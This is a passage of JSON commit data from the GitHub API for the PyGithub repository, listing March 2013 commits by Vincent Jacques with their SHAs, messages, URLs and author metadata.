#153","tree":{"sha":"1ad779f4f01d8e13c861bf5d0ae0a64c5f641df9","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1ad779f4f01d8e13c861bf5d0ae0a64c5f641df9"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1d18bd66f3a4a4225435bd38df04b8a227b5e821","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d18bd66f3a4a4225435bd38df04b8a227b5e821","html_url":"https://github.com/PyGithub/PyGithub/commit/1d18bd66f3a4a4225435bd38df04b8a227b5e821","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d18bd66f3a4a4225435bd38df04b8a227b5e821/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","html_url":"https://github.com/PyGithub/PyGithub/commit/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb"}]},{"sha":"b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:05:19Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:05:19Z"},"message":"Slightly improve coverage :-D","tree":{"sha":"b8517ca1fbc058c54b5376855a851426f590db4c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b8517ca1fbc058c54b5376855a851426f590db4c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","html_url":"https://github.com/PyGithub/PyGithub/commit/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b9d71fa787a2ffb99b6631e4bd6df932a4d4adbb/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611","html_url":"https://github.com/PyGithub/PyGithub/commit/dc96fef052f2b5c6adb34da65169e8df3f35f611"}]},{"sha":"f5d8e221d116b74a200d87afca32247f01204ba1","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:55:48Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:55:48Z"},"message":"Add (a bit of) documentation about error handling and exceptions","tree":{"sha":"f62a49adc111ad3b2911480026af92779b813d59","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f62a49adc111ad3b2911480026af92779b813d59"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f5d8e221d116b74a200d87afca32247f01204ba1","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f5d8e221d116b74a200d87afca32247f01204ba1","html_url":"https://github.com/PyGithub/PyGithub/commit/f5d8e221d116b74a200d87afca32247f01204ba1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f5d8e221d116b74a200d87afca32247f01204ba1/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611","html_url":"https://github.com/PyGithub/PyGithub/commit/dc96fef052f2b5c6adb34da65169e8df3f35f611"}]},{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:10:31Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:10:31Z"},"message":"Publish version 1.13.1","tree":{"sha":"896d176ae82c743cf682613dd1f60fd03872a204","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/896d176ae82c743cf682613dd1f60fd03872a204"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611","html_url":"https://github.com/PyGithub/PyGithub/commit/dc96fef052f2b5c6adb34da65169e8df3f35f611","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"c85af79db11ed1d2f93261ea4069a23ff1709125","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c85af79db11ed1d2f93261ea4069a23ff1709125","html_url":"https://github.com/PyGithub/PyGithub/commit/c85af79db11ed1d2f93261ea4069a23ff1709125"}]},{"sha":"c85af79db11ed1d2f93261ea4069a23ff1709125","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:05:13Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T19:05:13Z"},"message":"Fix authentication with Python 3 (Issue #153)","tree":{"sha":"3e7ad916a818e36e729c706db36f94d3582d1a45","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3e7ad916a818e36e729c706db36f94d3582d1a45"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/c85af79db11ed1d2f93261ea4069a23ff1709125","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c85af79db11ed1d2f93261ea4069a23ff1709125","html_url":"https://github.com/PyGithub/PyGithub/commit/c85af79db11ed1d2f93261ea4069a23ff1709125","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c85af79db11ed1d2f93261ea4069a23ff1709125/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","html_url":"https://github.com/PyGithub/PyGithub/commit/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1"}]},{"sha":"0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-23T12:07:00Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-23T12:07:00Z"},"message":"List all versions of Python in setup.py","tree":{"sha":"65c78a73d849fa6decb239f069a7cd1e47dea330","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/65c78a73d849fa6decb239f069a7cd1e47dea330"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","html_url":"https://github.com/PyGithub/PyGithub/commit/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0dd1adb4f06f45d554d12083b312fcdb6f6be8d1/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"b7e4000450e89b8c6e947e3a1e52fb06da7c9621","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621","html_url":"https://github.com/PyGithub/PyGithub/commit/b7e4000450e89b8c6e947e3a1e52fb06da7c9621"}]},{"sha":"b7e4000450e89b8c6e947e3a1e52fb06da7c9621","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T17:41:13Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T17:41:13Z"},"message":"Publish version 1.13.0","tree":{"sha":"d9ea78368ab68bb0696f5fe85e11b0f92ab2adf2","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d9ea78368ab68bb0696f5fe85e11b0f92ab2adf2"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621","html_url":"https://github.com/PyGithub/PyGithub/commit/b7e4000450e89b8c6e947e3a1e52fb06da7c9621","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1d9ad14fa918866c418067e774f65cede8e38682","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d9ad14fa918866c418067e774f65cede8e38682","html_url":"https://github.com/PyGithub/PyGithub/commit/1d9ad14fa918866c418067e774f65cede8e38682"}]},{"sha":"1d9ad14fa918866c418067e774f65cede8e38682","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T17:29:14Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T17:29:14Z"},"message":"Use bash for manage.sh","tree":{"sha":"69af02f3ea18c29ccfa5ca370ae2ec9f6fbb6c76","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/69af02f3ea18c29ccfa5ca370ae2ec9f6fbb6c76"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1d9ad14fa918866c418067e774f65cede8e38682","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d9ad14fa918866c418067e774f65cede8e38682","html_url":"https://github.com/PyGithub/PyGithub/commit/1d9ad14fa918866c418067e774f65cede8e38682","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d9ad14fa918866c418067e774f65cede8e38682/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1bb05fef01d0a040cb2b931a4d44392784a2f0c1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1bb05fef01d0a040cb2b931a4d44392784a2f0c1","html_url":"https://github.com/PyGithub/PyGithub/commit/1bb05fef01d0a040cb2b931a4d44392784a2f0c1"}]},{"sha":"1bb05fef01d0a040cb2b931a4d44392784a2f0c1","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T16:52:00Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-22T16:52:00Z"},"message":"Respect pep 8","tree":{"sha":"b16178379b74069e1fcdf21be9d2b8eddaddb7dd","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b16178379b74069e1fcdf21be9d2b8eddaddb7dd"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1bb05fef01d0a040cb2b931a4d44392784a2f0c1","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1bb05fef01d0a040cb2b931a4d44392784a2f0c1","html_url":"https://github.com/PyGithub/PyGithub/commit/1bb05fef01d0a040cb2b931a4d44392784a2f0c1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1bb05fef01d0a040cb2b931a4d44392784a2f0c1/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","html_url":"https://github.com/PyGithub/PyGithub/commit/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71"}]},{"sha":"d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-21T23:33:13Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-21T23:33:13Z"},"message":"Fix tests for Python 2.5","tree":{"sha":"4d98111af3d18526aac214545cf0287267006386","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4d98111af3d18526aac214545cf0287267006386"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","html_url":"https://github.com/PyGithub/PyGithub/commit/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d9b29851ddccc907f71f1ae662e57f2cd7c7dc71/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs